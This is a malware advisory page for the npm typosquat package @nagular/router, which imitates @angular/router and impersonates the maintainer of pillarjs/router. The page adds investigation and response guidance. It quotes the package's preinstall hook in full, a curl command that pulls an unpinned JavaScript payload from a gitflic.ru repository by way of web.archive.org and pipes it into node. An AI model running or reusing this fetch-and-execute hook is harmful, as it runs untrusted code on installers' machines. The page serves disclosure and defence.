supply chain event / NVI-00010898 / Revision 1
Malicious code in @nagular/router (npm)
GitHub lists this malware advisory for @nagular/router. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
@nagular/router
source listed= 2.2.1
## Source: amazon-inspector (5db05365620b3f716b28b41577e593bc35a6699aee20090951158c206c2585ca) package.json declares a preinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an opaque JavaScript payload from an unrelated third-party repository (gitflic.ru/hellscripter/install-scripts) proxied via web.archive.org and piping it directly into node at `npm install` time. The fetched bytes are not pinned by hash or version, the host is unrelated to the declared repository (pillarjs/router) or publisher domain (somethingdoug.com), and execution happens automatically with full user privileges on every install. Package metadata further impersonates the maintainer of the legitimate pillarjs/router package (author: Douglas Christopher Wilson) and uses the scope `@nagular/router`, a name likely to be confused with `@angular/router`, consistent with a typosquat lure designed to trick installers into running the preinstall dropper. --- Credit: OpenSSF ([source](https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f6
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-cg42-crqv-qjm9 ↗
GitHub Advisory Database · vendor advisory
Observed . GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.
Public revision history
Only published revisions appear here. Routine fetches do not create a material-change event.
- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.